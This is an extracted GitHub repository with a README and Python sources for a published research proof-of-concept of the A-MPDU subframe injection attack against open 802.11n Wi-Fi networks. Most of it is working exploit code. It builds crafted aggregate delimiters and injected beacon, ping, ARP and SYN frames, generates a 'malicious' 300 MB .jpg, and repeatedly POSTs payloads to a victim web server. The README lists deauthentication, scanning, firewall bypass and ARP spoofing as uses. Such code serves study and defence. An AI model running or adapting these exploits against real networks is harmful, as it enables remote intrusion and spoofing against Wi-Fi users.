Repository: rpp0/aggr-inject
Branch: master
Commit: c5e953f93fc6
Files: 6
Total size: 23.8 KB
Directory structure:
gitextract_ibeh_xil/
├── LICENSE
├── README.md
├── aggr-inject.py
├── constants.py
├── packets.py
└── rpyutils.py
================================================
FILE CONTENTS
================================================
================================================
FILE: LICENSE
================================================
Copyright (c) 2015, Pieter Robyns
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================
FILE: README.md
================================================
aggr-inject
===========
aggr-inject is a proof-of-concept implementation of the A-MPDU subframe injection attack, which allows an attacker to inject raw Wi-Fi frames into unencrypted networks remotely. The PoC exploits a vulnerability in the 802.11n frame aggregation mechanism and can be performed against almost any modern Wi-Fi chipset, given that the target is connected to an open network. Results from this research were published in a paper and presented at the ACM WiSec 2015 security conference.
Background
----------
A regular 802.11n Wi-Fi frame looks as follows:

The 802.11n standard specifies a new MAC frame (MPDU) aggregation mechanism intended to decrease overhead when transmitting multiple frames. In essence, the sender will aggregate multiple MPDUs in a single PHY frame as follows:

Here, each subframe is prepended with a delimiter in order to indicate its starting position and length inside the aggregated frame. When the receiver receives the aggregate, the delimiters are removed, and each subframe is deaggregated and forwarded to the kernel for further processing.
Vulnerability
-------------
The deaggregation algorithm specified in the standard is flawed because the MPDU delimiters are transmitted with the same data rate and modulation method as the frame payload. This allows us to create our own subframes (low layer frames) within any higher layer e.g. HTTP, FTP, ICMP, etc. In other words, we can embed a malicious MAC frame including the delimiter inside an outer frame, for example a HTTP frame. When such frames are aggregated, any bit error in the delimiter of the outer frame will cause the receiver to interpret our malicious, inner frame instead!

An example scenario of how an attack could be performed is shown below. Here, the attacker serves a .jpg file containing malicious frames on a web server. When the .jpg is downloaded, the receiver will see the attacker's malicious frames with every occurence of a bit error in the HTTP subframe delimiter.

<br/>
<sup>Thanks to https://github.com/zhovner for creating this animation!</sup>
Consequences
------------
Depending on whether the attacker knows the MAC address of the targeted network's AP, several attacks can be performed using aggr-inject:
- Deauthenticate clients
- Inject malicious Beacon frames (e.g. overly long SSID field)
- Perform a host or port scan
- Bypass firewall rules
- ARP spoofing
- ...
All of these attacks can be performed remotely and without owning a wireless device, since the deaggregation happens at the final hop and since it does not matter how the packet travels to its destination.
Practical proof-of-concept
--------------------------
If you want to see the attack in action on your own network, run option 1 of the PoC to generate the image file containing Beacon subframes (300 MB), then upload it to your web server. Finally, download the image **while being connected to an open 802.11n network with frame aggregation enabled**. Then, while downloading, check either Wireshark or your list of discovered networks (usually takes several downloads of the image for it to appear in the list of networks), and you should see a new network named "injected SSID" coming from MAC address 00:00:00:00:00:00. The amount of Beacons you see will depend on how fast frames are corrupted on your network and how often your AP performs frame aggregation.
Details
-------
More details about the attack can be found in my paper at [this location](https://github.com/rpp0/aggr-inject/blob/master/paper/ampdu_inj_wisec2015.pdf). My presentation can be downloaded [here](https://github.com/rpp0/aggr-inject/blob/master/presentation/wisec2015.pdf).
Contact
-------
I'm happy to answer any questions via the Reddit thread concerning this attack (https://www.reddit.com/r/netsec/comments/3bq96e/vulnerability_in_80211n_standard_allows_remote/), Twitter (https://twitter.com/redplusplus) or my e-mail, which you can find at the end of my presentation.
================================================
FILE: aggr-inject.py
================================================
#!/usr/bin/env python2
from rpyutils import printd, Color, Level, clr, VERBOSITY
from packets import AMPDUPacket, AMSDUPacket, ping_packet, arp_packet, tcp_syn, ssid_packet, probe_response
import requests
import random
import sys
class MaliciousDownload():
def __init__(self, package):
self.data = str(package)
def write(self):
with open('download.jpg', 'w') as f:
for i in range(0, 10000):
f.write(("\x00" * random.randint(0, 3)) + str(self.data))
def fuzztf(option1, option2):
test = random.randint(0, 1)
if test:
return option1
else:
return option2
def main_download():
# Malicious download
raw_input("This will create a 300 MB file download.jpg in the working directory. Press any key to continue or CTRL+C to exit.")
printd(clr(Color.YELLOW, "Creating malicious download..."), Level.INFO)
container = ""
for i in range(0, 256):
# Containers are (series of) frames to inject into the remote network
# Container for scanning hosts on internal network
#md_pkt = AMPDUPacket('ff:ff:ff:ff:ff:ff', '4C:5E:0C:9E:82:19', '4C:5E:0C:9E:82:19', 0x02)
#md_pkt.add_msdu(ping_packet(i, "10.0.0.1", "192.168.88.249"))
#md_pkt.add_padding(8)
# Container for a Beacon frame
md_pkt = ssid_packet()
container += str(md_pkt)
md = MaliciousDownload(container)
md.write()
def main():
session = requests.Session()
count = 1
ip_count = 0
printd(clr(Color.BLUE, "Building container..."), Level.INFO)
""" Build container """
container = ''
for i in range(0, 800):
count = (count + 1) % 1024
ip_count = (ip_count % 255) + 1
# Ping from attacker --> victim
# You need to change the MAC addresses and IPs to match the remote AP
ampdu_pkt = AMPDUPacket('ff:ff:ff:ff:ff:ff', '64:D1:A3:3D:26:5B', '64:D1:A3:3D:26:5B', 0x02)
ampdu_pkt.add_msdu(ping_packet(count, "10.0.0.1", "192.168.0." + str(ip_count)))
ampdu_pkt.add_padding(8)
container += str(ampdu_pkt)
# Beacon from attacker --> victim
#ampdu_pkt = ssid_packet()
#container += str(ampdu_pkt)
# Ping from victim --> access point
#ampdu_pkt = AMPDUPacket('4C:5E:0C:9E:82:19', 'f8:1a:67:1b:14:00', '4C:5E:0C:9E:82:19')
#ampdu_pkt.add_msdu(ping_packet(count, "192.168.88.254", "10.0.0." + str(ip_count)))
#ampdu_pkt.add_padding(8)
#container += str(ampdu_pkt)
""" end package """
printd(clr(Color.BLUE, "Finished building container! Sending..."), Level.INFO)
while 1:
print("."),
sys.stdout.flush()
request_params = {'postpayload': ("\x00" * random.randint(0, 3)) + str(container)}
try:
session.post("http://" + "10.0.0.6:80" + "/index.html", files=request_params, timeout=5)
except requests.exceptions.ConnectionError:
printd(clr(Color.RED, "Could not connect to host"), Level.CRITICAL)
pass
except Exception:
printd(clr(Color.RED, "Another exception"), Level.CRITICAL)
pass
if __name__ == "__main__":
try:
pocnum = raw_input("Two PoCs are available. Suggested approach to test the vulnerability is to choose option 1"
" and upload the file to your web server. Then, download while connected to an _open_ "
"network and observe Wireshark output for MAC 00:00:00:00:00:00 in monitor mode. Waving "
"your hand over the antenna of the receiver can speed up the injection rate if you don't "
"want to wait too long to see the results.\n"
"\t1) Generate 300 MB .jpg file containing malicious Beacon frames (pulled by victim).\n"
"\t2) Connect to victim web server and POST malicious host scanning ICMP frames (push to victim).\n"
"Note: for option 2 you need to change the MAC addresses and IPs in the source to match the remote AP.\n"
"Choice: ")
if pocnum == "1":
main_download()
elif pocnum == "2":
main()
else:
printd("Invalid PoC number.", Level.CRITICAL)
except KeyboardInterrupt:
printd("\nExiting...", Level.INFO)
================================================
FILE: constants.py
================================================
import platform
RUNNING_ON_PI = platform.machine() == 'armv6l'
DEFAULT_DNS_SERVER = "8.8.8.8"
RSN = "\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x28\x00"
AP_WLAN_TYPE_OPEN = 0
AP_WLAN_TYPE_WPA = 1
AP_WLAN_TYPE_WPA2 = 2
AP_WLAN_TYPE_WPA_WPA2 = 3
AP_AUTH_TYPE_OPEN = 0
AP_AUTH_TYPE_SHARED = 1
AP_RATES = "\x0c\x12\x18\x24\x30\x48\x60\x6c"
DOT11_MTU = 4096
DOT11_TYPE_MANAGEMENT = 0
DOT11_TYPE_CONTROL = 1
DOT11_TYPE_DATA = 2
DOT11_SUBTYPE_DATA = 0x00
DOT11_SUBTYPE_PROBE_REQ = 0x04
DOT11_SUBTYPE_AUTH_REQ = 0x0B
DOT11_SUBTYPE_ASSOC_REQ = 0x00
DOT11_SUBTYPE_REASSOC_REQ = 0x02
DOT11_SUBTYPE_QOS_DATA = 0x28
IFNAMSIZ = 16
IFF_TUN = 0x0001
IFF_TAP = 0x0002 # Should we want to tunnel layer 2...
IFF_NO_PI = 0x1000
TUNSETIFF = 0x400454ca
================================================
FILE: packets.py
================================================
from scapy.all import sr1, sr, srp1, send, sendp, hexdump, ETH_P_IP
from scapy.layers.inet import Raw, Ether, TCP, IP, ICMP, ARP
from scapy.layers.dot11 import Dot11, LLC, SNAP, RadioTap, Dot11Beacon, Dot11Elt, Dot11ProbeResp
from constants import *
from rpyutils import get_frequency, printd, Color, Level, clr, hex_offset_to_string
import random
import crcmod
import struct
import time
# Configuration
DEFAULT_SOURCE_IP = '10.0.0.2'
DEFAULT_DEST_IP = '10.0.0.1'
DEFAULT_SOURCE_MAC = 'ff:ff:ff:ff:ff:ff'
DEFAULT_DEST_MAC = 'ff:ff:ff:ff:ff:ff'
CHANNEL = 1
MONITOR_INTERFACE = 'mon0'
# 802.11 MAC CRC
def dot11crc(pkt):
crc_fun = crcmod.Crc(0b100000100110000010001110110110111, rev=True, initCrc=0x0, xorOut=0xFFFFFFFF)
crc_fun.update(str(pkt))
crc = struct.pack('<I', crc_fun.crcValue)
return crc
# For testing purposes
class GarbagePacket():
def __init__(self):
self.data = None
def set_delimiter_garbage(self):
self.data = '\x4e' * 1024
def set_null_garbage(self):
self.data = '\x00' * 1024
def __str__(self):
return str(self.data)
def dump_to_file(self):
with open('ampdu.bin', 'w') as f:
printd(clr(Color.YELLOW, "Dumped garbage packet"), Level.INFO)
f.write(str(self) * 250)
# Normal 802.11 frame class
class Dot11Packet():
def __init__(self, recv_mac, trans_mac, dst_mac):
self.rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\x00\x6c' + get_frequency(CHANNEL) + '\xc0\x00\xc0\x01\x00\x00')
self.dot11hdr = Dot11(type="Data", subtype=DOT11_SUBTYPE_DATA, addr1=recv_mac, addr2=trans_mac, addr3=dst_mac, SC=0x3060, FCfield=0x01)
self.data = self.rt / self.dot11hdr
self.recv_mac = recv_mac
self.trans_mac = trans_mac
self.dst_mac = dst_mac
def __str__(self):
return str(self.data[RadioTap].payload) # RadioTap information is only useful while sending (in monitor mode).
def send(self):
return sendp(self.data, iface=MONITOR_INTERFACE, verbose=False)
# 802.11 frame class with support for adding MSDUs to a single MPDU
class AMSDUPacket():
def __init__(self, recv_mac, src_mac, dst_mac, ds=0x01):
self.rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\x00\x6c' + get_frequency(CHANNEL) + '\xc0\x00\xc0\x01\x00\x00')
self.dot11hdr = Dot11(type="Data", subtype=DOT11_SUBTYPE_QOS_DATA, addr1=recv_mac, addr2=src_mac, addr3=dst_mac, SC=0x3060, FCfield=ds) / Raw("\x80\x00")
self.data = self.rt / self.dot11hdr
self.num_subframes = 0
self.recv_mac = recv_mac
self.src_mac = src_mac
self.dst_mac = dst_mac
def __str__(self):
return str(self.data[RadioTap].payload)
def add_msdu(self, msdu):
msdu_len = len(msdu)
total_len = msdu_len + 6 + 6 + 2
padding = "\x00" * (4 - (total_len % 4)) # Align to 4 octets
if self.num_subframes > 0:
self.data /= padding
self.data = self.data / Ether(src=self.src_mac, dst=self.recv_mac, type=msdu_len) / msdu
self.num_subframes += 1
def send(self):
return sendp(self.data, iface=MONITOR_INTERFACE, verbose=False)
"""
Total Aggregate (A-MPDU) length; the aggregate length is the number of bytes of
the entire aggregate. This length should be computed as:
delimiters = start_delim + pad_delim;
frame_pad = (frame_length % 4) ? (4 - (frame_length % 4)) : 0
agg_length = sum_of_all (frame_length + frame_pad + 4 * delimiters)
"""
# 802.11 frame class with support for adding multiple MPDUs to a single PHY frame
class AMPDUPacket():
def __init__(self, recv_mac, src_mac, dst_mac, ds=0x01):
self.rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\x00\x6c' + get_frequency(CHANNEL) + '\xc0\x00\xc0\x01\x00\x00')
self.dot11hdr = Dot11(type="Data", subtype=DOT11_SUBTYPE_QOS_DATA, addr1=recv_mac, addr2=src_mac, addr3=dst_mac, SC=0x3060, FCfield=ds) / Raw("\x00\x00")
self.data = self.rt
self.num_subframes = 0
self.recv_mac = recv_mac
self.src_mac = src_mac
self.dst_mac = dst_mac
def __str__(self):
return str(self.data[RadioTap].payload)
# Higher layer packet
def add_msdu(self, msdu, msdu_len=-1):
# Default msdu len
if msdu_len == -1:
msdu_len = len(msdu)
mpdu_len = msdu_len + len(self.dot11hdr) + 4 # msdu + mac80211 + FCS
if mpdu_len % 4 != 0:
padding = "\x00" * (4 - (mpdu_len % 4)) # Align to 4 octets
else:
padding = ""
mpdu_len <<= 4
crc_fun = crcmod.mkCrcFun(0b100000111, rev=True, initCrc=0x00, xorOut=0xFF)
crc = crc_fun(struct.pack('<H', mpdu_len))
maccrc = dot11crc(str(self.dot11hdr / msdu))
delim_sig = 0x4E
#print('a-mpdu: len %d crc %02x delim %02x' % (mpdu_len >> 4, crc, delim_sig))
#hexdump(maccrc)
ampdu_header = struct.pack('<HBB', mpdu_len, crc, delim_sig)
#hexdump(ampdu_header)
self.data = self.data / ampdu_header / self.dot11hdr / msdu / maccrc / padding
self.num_subframes += 1
def add_padding(self, times): # Add padding delimiter
for i in range(0, times):
self.data /= "\x00\x00\x20\x4e"
def add_padding_bogus(self, times): # Add bogus padding
for i in range(0, times):
self.data /= "\xff\xff\xff\xff"
def send(self):
return sendp(self.data, iface=MONITOR_INTERFACE, verbose=False)
def dump_to_file(self):
with open('ampdu.bin', 'w') as f:
for i in range(0, 1024):
f.write(str(self)) # Try to shift position so our payload will land on correct offset
# ICMP Echo Request packet
def ping_packet(seq=0, src=DEFAULT_SOURCE_IP, dst=DEFAULT_DEST_IP, length=-1):
icmp_packet = ICMP(seq=seq, type=8, code=0) / "XXXXXX"
icmp_packet = ICMP(icmp_packet.do_build()) # Force checksum calculation
icmp_length = length
if length == -1:
icmp_length = len(icmp_packet)
ping = LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \
/ SNAP(OUI=0x000000, code=ETH_P_IP) \
/ IP(src=src, dst=dst, len=(20 + icmp_length)) \
/ icmp_packet
return ping
# ARP packet
def arp_packet(hwsrc, psrc, hwdst, pdst):
arp_packet = ARP(hwsrc=hwsrc, psrc=psrc, hwdst=hwdst, pdst=pdst, op=1)
arp = LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \
/ SNAP(OUI=0x000000, code=0x0806) \
/ arp_packet
return arp
# TCP syn packet
def tcp_syn(src_ip, dst_ip, port):
tcp_syn_p = TCP(dport=port, flags="S", window=29200, seq=random.randint(0, 100000), sport=random.randint(40000, 60000), options=[('MSS', 1460), ('SAckOK', ''), ('Timestamp', (147229543, 0)), ('NOP', None), ('WScale', 7)])
syn = LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \
/ SNAP(OUI=0x000000, code=ETH_P_IP) \
/ IP(src=src_ip, dst=dst_ip, flags=0x02, tos=0x10, len=(20 + len(tcp_syn_p))) \
/ tcp_syn_p
syn = LLC(str(syn))
#syn.show()
return syn
# 802.11 Beacon frame
# TODO: Fix me; duplicate code
def ssid_packet():
ap_mac = '00:00:00:00:00:00'
rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\x00\x6c' + get_frequency(CHANNEL) + '\xc0\x00\xc0\x01\x00\x00')
beacon_packet = Dot11(subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=ap_mac, addr3=ap_mac) \
/ Dot11Beacon(cap=0x2105) \
/ Dot11Elt(ID='SSID', info="injected SSID") \
/ Dot11Elt(ID='Rates', info=AP_RATES) \
/ Dot11Elt(ID='DSset', info=chr(CHANNEL))
# Update sequence number
beacon_packet.SC = 0x3060
# Update timestamp
beacon_packet[Dot11Beacon].timestamp = time.time()
mpdu_len = len(beacon_packet) + 4
if mpdu_len % 4 != 0:
padding = "\x00" * (4 - (mpdu_len % 4)) # Align to 4 octets
else:
padding = ""
mpdu_len <<= 4
crc_fun = crcmod.mkCrcFun(0b100000111, rev=True, initCrc=0x00, xorOut=0xFF)
crc = crc_fun(struct.pack('<H', mpdu_len))
maccrc = dot11crc(str(beacon_packet))
delim_sig = 0x4E
#print('a-mpdu: len %d crc %02x delim %02x' % (mpdu_len >> 4, crc, delim_sig))
#hexdump(maccrc)
ampdu_header = struct.pack('<HBB', mpdu_len, crc, delim_sig)
#hexdump(ampdu_header)
data = ampdu_header / beacon_packet / maccrc / padding
data /= "\x00\x00\x20\x4e" * 8
data = str(data)
return data
# 802.11 Probe Response
# TODO: Fix me; duplicate code
def probe_response():
rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\x00\x6c' + get_frequency(CHANNEL) + '\xc0\x00\xc0\x01\x00\x00')
beacon_packet = Dot11(subtype=5, addr1='ff:ff:ff:ff:ff:ff', addr2="be:da:de:ad:be:ef", addr3="be:da:de:ad:be:ef", SC=0x3060) \
/ Dot11ProbeResp(timestamp=time.time(), beacon_interval=0x0064, cap=0x2104) \
/ Dot11Elt(ID='SSID', info="injected SSID") \
/ Dot11Elt(ID='Rates', info=AP_RATES) \
/ Dot11Elt(ID='DSset', info=chr(1))
# Update sequence number
beacon_packet.SC = 0x3060
mpdu_len = len(beacon_packet) + 4
if mpdu_len % 4 != 0:
padding = "\x00" * (4 - (mpdu_len % 4)) # Align to 4 octets
else:
padding = ""
mpdu_len <<= 4
crc_fun = crcmod.mkCrcFun(0b100000111, rev=True, initCrc=0x00, xorOut=0xFF)
crc = crc_fun(struct.pack('<H', mpdu_len))
maccrc = dot11crc(str(beacon_packet))
delim_sig = 0x4E
#print('a-mpdu: len %d crc %02x delim %02x' % (mpdu_len >> 4, crc, delim_sig))
#hexdump(maccrc)
ampdu_header = struct.pack('<HBB', mpdu_len, crc, delim_sig)
#hexdump(ampdu_header)
data = ampdu_header / beacon_packet / maccrc / padding
data /= "\x00\x00\x20\x4e" * 8
data = str(data)
return data
================================================
FILE: rpyutils.py
================================================
import subprocess
import re
import os
import struct
from scapy.arch import str2mac, get_if_raw_hwaddr
class Level:
CRITICAL = 0
WARNING = 1
INFO = 2
DEBUG = 3
BLOAT = 4
VERBOSITY = Level.INFO
class Color:
GREY = '\x1b[1;37m'
GREEN = '\x1b[1;32m'
BLUE = '\x1b[1;34m'
YELLOW = '\x1b[1;33m'
RED = '\x1b[1;31m'
MAGENTA = '\x1b[1;35m'
CYAN = '\x1b[1;36m'
def clr(color, text):
return color + str(text) + '\x1b[0m'
def check_root():
if not os.geteuid() == 0:
printd(clr(Color.RED, "Run as root."), Level.CRITICAL)
exit(1)
def check_root_shadow():
dev_null = open(os.devnull, 'w')
try:
subprocess.check_output(['cat', '/etc/shadow'], stderr=dev_null)
except subprocess.CalledProcessError:
printd(clr(Color.RED, "Run as root."), Level.CRITICAL)
exit(1)
def set_monitor_mode(wlan_dev, enable=True):
monitor_dev = None
if enable:
result = subprocess.check_output(['airmon-ng', 'start', wlan_dev])
if not "monitor mode enabled on" in result:
printd(clr(Color.RED, "ERROR: Airmon could not enable monitor mode on device %s. Make sure you are root, and that" \
"your wlan card supports monitor mode." % wlan_dev), Level.CRITICAL)
exit(1)
monitor_dev = re.search(r"monitor mode enabled on (\w+)", result).group(1)
printd("Airmon set %s to monitor mode on %s" % (wlan_dev, monitor_dev), Level.INFO)
else:
subprocess.check_output(['airmon-ng', 'stop', wlan_dev])
return monitor_dev
def set_ip_address(dev, ip):
if subprocess.call(['ip', 'addr', 'add', ip, 'dev', dev]):
printd("Failed to assign IP address %s to %s." % (ip, dev), Level.CRITICAL)
if subprocess.call(['ip', 'link', 'set', 'dev', dev, 'up']):
printd("Failed to bring device %s up." % dev, Level.CRITICAL)
def clear_ip_tables():
if subprocess.call(['iptables', '--flush']):
printd("Failed to flush iptables.", Level.CRITICAL)
if subprocess.call(['iptables', '--table', 'nat', '--flush']):
printd("Failed to flush iptables NAT.", Level.CRITICAL)
if subprocess.call(['iptables', '--delete-chain']):
printd("Failed to delete iptables chain.", Level.CRITICAL)
if subprocess.call(['iptables', '--table', 'nat', '--delete-chain']):
printd("Failed to delete iptables NAT chain.", Level.CRITICAL)
def printd(string, level):
if VERBOSITY >= level:
print(string)
def hex_offset_to_string(byte_array):
temp = byte_array.replace("\n", "")
temp = temp.replace(" ", "")
return temp.decode("hex")
def get_frequency(channel):
if channel == 14:
freq = 2484
else:
freq = 2407 + (channel * 5)
freq_string = struct.pack("<h", freq)
return freq_string
def mac_to_bytes(mac):
return ''.join(chr(int(x, 16)) for x in mac.split(':'))
def bytes_to_mac(byte_array):
return ':'.join("{:02x}".format(ord(byte)) for byte in byte_array)
# Scapy sees mon0 interface as invalid address family, so we write our own
def if_hwaddr(iff):
return str2mac(get_if_raw_hwaddr(iff)[1])
def set_debug_level(lvl):
global VERBOSITY
VERBOSITY = lvl
gitextract_ibeh_xil/ ├── LICENSE ├── README.md ├── aggr-inject.py ├── constants.py ├── packets.py └── rpyutils.py
SYMBOL INDEX (50 symbols across 3 files)
FILE: aggr-inject.py
class MaliciousDownload (line 10) | class MaliciousDownload():
method __init__ (line 11) | def __init__(self, package):
method write (line 14) | def write(self):
function fuzztf (line 20) | def fuzztf(option1, option2):
function main_download (line 28) | def main_download():
function main (line 49) | def main():
FILE: packets.py
function dot11crc (line 22) | def dot11crc(pkt):
class GarbagePacket (line 30) | class GarbagePacket():
method __init__ (line 31) | def __init__(self):
method set_delimiter_garbage (line 34) | def set_delimiter_garbage(self):
method set_null_garbage (line 37) | def set_null_garbage(self):
method __str__ (line 40) | def __str__(self):
method dump_to_file (line 43) | def dump_to_file(self):
class Dot11Packet (line 50) | class Dot11Packet():
method __init__ (line 51) | def __init__(self, recv_mac, trans_mac, dst_mac):
method __str__ (line 59) | def __str__(self):
method send (line 62) | def send(self):
class AMSDUPacket (line 67) | class AMSDUPacket():
method __init__ (line 68) | def __init__(self, recv_mac, src_mac, dst_mac, ds=0x01):
method __str__ (line 77) | def __str__(self):
method add_msdu (line 80) | def add_msdu(self, msdu):
method send (line 92) | def send(self):
class AMPDUPacket (line 104) | class AMPDUPacket():
method __init__ (line 105) | def __init__(self, recv_mac, src_mac, dst_mac, ds=0x01):
method __str__ (line 114) | def __str__(self):
method add_msdu (line 118) | def add_msdu(self, msdu, msdu_len=-1):
method add_padding (line 145) | def add_padding(self, times): # Add padding delimiter
method add_padding_bogus (line 149) | def add_padding_bogus(self, times): # Add bogus padding
method send (line 153) | def send(self):
method dump_to_file (line 156) | def dump_to_file(self):
function ping_packet (line 163) | def ping_packet(seq=0, src=DEFAULT_SOURCE_IP, dst=DEFAULT_DEST_IP, lengt...
function arp_packet (line 180) | def arp_packet(hwsrc, psrc, hwdst, pdst):
function tcp_syn (line 190) | def tcp_syn(src_ip, dst_ip, port):
function ssid_packet (line 206) | def ssid_packet():
function probe_response (line 248) | def probe_response():
FILE: rpyutils.py
class Level (line 8) | class Level:
class Color (line 18) | class Color:
function clr (line 28) | def clr(color, text):
function check_root (line 32) | def check_root():
function check_root_shadow (line 38) | def check_root_shadow():
function set_monitor_mode (line 48) | def set_monitor_mode(wlan_dev, enable=True):
function set_ip_address (line 65) | def set_ip_address(dev, ip):
function clear_ip_tables (line 73) | def clear_ip_tables():
function printd (line 84) | def printd(string, level):
function hex_offset_to_string (line 89) | def hex_offset_to_string(byte_array):
function get_frequency (line 95) | def get_frequency(channel):
function mac_to_bytes (line 106) | def mac_to_bytes(mac):
function bytes_to_mac (line 110) | def bytes_to_mac(byte_array):
function if_hwaddr (line 115) | def if_hwaddr(iff):
function set_debug_level (line 119) | def set_debug_level(lvl):
Condensed preview — 6 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (26K chars).
[
{
"path": "LICENSE",
"chars": 1299,
"preview": "Copyright (c) 2015, Pieter Robyns\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or witho"
},
{
"path": "README.md",
"chars": 4410,
"preview": "aggr-inject\n===========\n\naggr-inject is a proof-of-concept implementation of the A-MPDU subframe injection attack, which"
},
{
"path": "aggr-inject.py",
"chars": 4409,
"preview": "#!/usr/bin/env python2\n\nfrom rpyutils import printd, Color, Level, clr, VERBOSITY\nfrom packets import AMPDUPacket, AMSDU"
},
{
"path": "constants.py",
"chars": 768,
"preview": "import platform\n\nRUNNING_ON_PI = platform.machine() == 'armv6l'\nDEFAULT_DNS_SERVER = \"8.8.8.8\"\nRSN = \"\\x01\\x00\\x00\\x0f\\x"
},
{
"path": "packets.py",
"chars": 10192,
"preview": "from scapy.all import sr1, sr, srp1, send, sendp, hexdump, ETH_P_IP\nfrom scapy.layers.inet import Raw, Ether, TCP, IP, I"
},
{
"path": "rpyutils.py",
"chars": 3261,
"preview": "import subprocess\nimport re\nimport os\nimport struct\nfrom scapy.arch import str2mac, get_if_raw_hwaddr\n\n\nclass Level:\n "
}
]
About this extraction
This page contains the full source code of the rpp0/aggr-inject GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 6 files (23.8 KB), approximately 7.0k tokens, and a symbol index with 50 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.